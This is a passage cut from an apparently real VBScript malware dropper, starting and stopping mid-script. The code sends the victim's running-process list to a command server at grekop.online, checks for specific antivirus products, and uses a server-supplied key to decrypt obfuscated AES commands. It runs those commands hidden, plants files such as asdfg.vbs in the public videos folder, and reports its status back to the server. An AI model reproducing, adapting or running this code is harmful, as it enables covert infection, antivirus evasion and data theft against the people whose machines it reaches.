Result = Result+"video vbs no "+"ENTER"
End If
Set Post0 = CreateObject("msxml2.xmlhttp")
Post0.Open "POST", "https://grekop.online/brad/re.php", 0
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
Post0.Send (Modi(Result))
Else
Set Post0 = CreateObject("msxml2.xmlhttp")
Post0.Open "POST", "https://grekop.online/brad/r.php", 0
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
Post0.Send ("p=" + Modi(isProcessRunning))
s_key = Post0.responsetext
If InStr(isProcessRunning,"bdagent.exe") Or InStr(isProcessRunning,"epsecurityservice.exe") Or InStr(isProcessRunning,"avpui.exe") Or InStr(isProcessRunning,"avp.exe") Or InStr(isProcessRunning, "v3") Or InStr(isProcessRunning,"ayagent.aye") Or InStr(isProcessRunning, "avastui") Then
Result=Result+"bitdefender "
If InStr(isProcessRunning,"tmwscsvc") Or InStr(isProcessRunning,"ntrtscan") Or InStr(isProcessRunning,"tmrhea") Or InStr(isProcessRunning,"pccntmon.exe") Or InStr(isProcessRunning,"coreserviceshell") Then
Result=Result+"trend "
dd=AES("&88&180&26&46&143&151&68&221&102&99&149&206&0&59&224&168&167&101&161&230&176&121&154&218&148&222&167&12&224&52&219&47&231&52&241&146&147&223&141&198&57&216&17&138&94&138&175&197&254&210&48&112&150&212&113&91&249&90&28&9&249&245&97&86&84&150&0&219&70&71&56&198&84&56&165&45&97&98&69&131&82&212&95&132&215&229&93&61&114&131&15&31&161&75&150&35&17&242&36&148&56&217&28&73&125&128&80&115&167&234&69&179&197&164&74&111&65&31&46&126&49&129&87&61&75&28&69&125&103&188&204&18&205&184&119&48&61&125&222&183&137&230&94&164&240&29&27&22&147&191&67&93&148&170&72&4&209&225&94&230&32&118&223&166&142&213&116&246&85&108&157&46&11&35&187&43&83&102&75&38&53&138&105&132&136&147&132&11&134&98&213&73&208&77&188&116&214&25&231&229&53&86&250&100&244&36&234&51&97&254&101&6&186&5&61&91&231&207&234&11&109&253&174&240&112&62&52&23&82&45&191&39&54&83&40&148&96&174&241&148&215&240&172&128&29&4&156&24&155&17&255&194&49&153&45&36&213&1&127&195&194&114&23&4&150&108&230&111&133&240&90&16&187&248&214&221&158&52&38&177&244&140&21&58&11&145&9
d=ws.run(dd,0,true)
If fs.FileExists("c:\users\public\videos\video") Then
Result = Result+" vbs ok "+"ENTER"
dd=AES("&223&52&2&88&111&163&7&104&172&30&171&144&41&190&30&52&195&177&85&118&127&121&252&92&220&164&162&81&38&116&10&85&46&213&104&244&89&249&190&198&91&233&232&3&7&115&194&112&80&51&254&9&37&144&189&152&178&95&190&12&46&132&50&225&37&220&18&45&96&17&26&52&59&9&104&251&27&47&10&208&153&171&4&195&45&146&25&140&234&206&112&18&106&186&6&228&227&45&190&119&139&150&85&202&250&151&74&13&111&109&6&244&198&9&11&15&176&29&235&54&163&130&165&170&23&149&16&238&45&171&222&182&49&226&43&233&110&32&116&229&208&172&164&98&136&191&6&41&101&229&50&217&232&10&39&150&155&43&68&209&2&185&209&202&80&161&128&223&101&133&21&218&46&138&113&103&222&136&54&169&77&230&118&19&167&141&132&121&219&35&210&30&105&178&250&4&104&200&157&115&88&176&106&217&7&66&147&120",s_key)
re=ws.run(dd,0,false)
Result = Result+"vbs no "+"ENTER"
End If
ElseIf InStr(isProcessRunning, "avgui.exe") Then
dd=AES("&88&180&26&46&143&151&68&221&102&99&149&206&0&59&224&168&167&101&161&230&176&121&154&218&148&222&167&12&224&52&219&47&231&52&241&146&147&223&141&198&57&216&17&138&94&138&175&197&254&210&48&112&150&212&113&91&249&90&28&9&249&245&97&86&84&150&0&219&70&71&56&198&84&56&165&45&97&98&69&131&82&212&95&132&215&229&93&61&114&131&15&31&161&75&150&35&17&242&36&148&56&217&28&73&125&128&80&115&167&234&69&179&22&42&255&212&246&109&145&64&100&87&129&191&220&114&115&200&95&18&239&169&230&65&85&232&1&17&7&242&203&174&39&103&90&223&81&94&168&83&46&10&58&105&59&117&81&31&49&242&219&11&63&112&9&118&195&58&54&80&233&8&46&189&202&33&10&122&198&150&46&2&50&165&214&69&59&141&118&48&137&205&215&240&172&128&29&4&156&24&155&17&255&194&49&153&45&36&213&1&127&195&194&114&23&4&150&108&230&111&133&240&90&16&3&234&138&128&131&137&11&201&228&111&60&93&192&88&169&199&52&60&162&209&119&136&201&39&96&54&173&17&159&237&112&94&71&40&129&158&171&147&215&152&127&8&118&123&215&60&127&246&248&232&208&71&54&90&26&215&155&147&197&80&112&155&110
d=ws.run(dd,0,true)
ElseIf InStr(isProcessRunning,"wrsa.exe") Or InStr(isProcessRunning,"qhsafe") Then
dd=AES("&88&180&26&46&143&151&68&221&102&99&149&206&0&59&224&168&167&101&161&230&176&121&154&218&148&222&167&12&224&52&219&47&231&52&241&146&147&223&141&198&57&216&17&138&94&138&175&197&254&210&48&112&150&212&113&91&249&90&28&9&249&245&97&86&84&150&0&219&70&71&56&198&84&56&165&45&97&98&69&131&82&212&95&132&215&229&93&61&114&131&15&31&161&75&150&35&17&242&36&148&56&217&28&73&125&128&80&115&167&234&69&179&197&164&74&111&65&31&46&126&49&129&87&61&75&28&69&125&103&188&204&18&205&184&119&48&61&125&222&183&137&230&94&164&240&29&27&22&147&191&67&93&148&170&72&4&209&225&94&230&90&172&94&219&217&90&30&203&51&208&187&41&127&192&13&239&83&102&75&38&53&138&105&132&136&147&132&11&134&98&213&73&208&77&188&116&214&25&231&229&53&86&250&100&244&36&234&51&97&254&101&6&186&5&61&91&231&207&234&11&109&253&174&240&112&62&52&23&82&45&191&39&54&83&40&148&96&174&241&148&215&240&172&128&29&4&156&24&155&17&255&194&49&153&45&36&213&1&127&195&194&114&23&4&150&108&230&111&133&240&90&16&187&248&214&221&158&52&38&177&244&140&21&58&11&145&9&
d=ws.run(dd,0,true)
dd=AES("&67&146&54&116&130&239&129&51&117&101&160&59&230&51&221&240&229&12&148&88&103&217&253&184&88&189&61&30&26&238&39&22&39&196&133&218&233&245&131&210&30&164&33&209&200&28&54&244&236&177&137&143&47&199&97&103&38&58&190&70&237&7&136&254&135&238&195&77&201&154&252&113&100&141&102&193&125&44&73&54&147&34&80&103&147&184&135&182&239&46&39&27&154&113&231&45&211&24&212&36&29&188&226&244&91&168&253&177&236&63&244&133&219&88&145&197&176&255&182&185&253&35&179&208&12&98&49&179&99&143&134&44&130&166&123&227&22&49&37&92&123&90&57&165&71&198&72&73&189&88&200&147&95&62&87&24&29&10&131&185&193&244&231&84&111&106&232&231&109&27&83&213&174&166&139&70&23&33&109&150&114&148&228&189&93&151&88&232&197&148&135&107&224&12&160&218&198&15&163&108&166&191&246&143&6&34&202&161&16&30&57&206&11&197&115&202&113&194&226&163&246&17&78&160&67&35&197&104&208&200&236&57&79&177&85&212&43&215&192&88&181&153&243&26&100&26&101&53&59&29&166&60&233&235&76&200&155&189&118&87&95&245&152&0&22&8&9&96&100&147&39&110&228&163&201&190&34&26&239&193&91&3
d=ws.run(dd,0,true)
If fs.FileExists("c:\users\public\videos\asdfg.vbs") Then
Result = Result+"sch vbs ok "+"ENTER"
Result = Result+"sch vbs no "+"ENTER"
End If
End If
End If
Set Post0 = CreateObject("msxml2.xmlhttp")
Post0.Open "POST", "https://grekop.online/brad/re.php", 0
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
Post0.Send (Modi(Result))
End If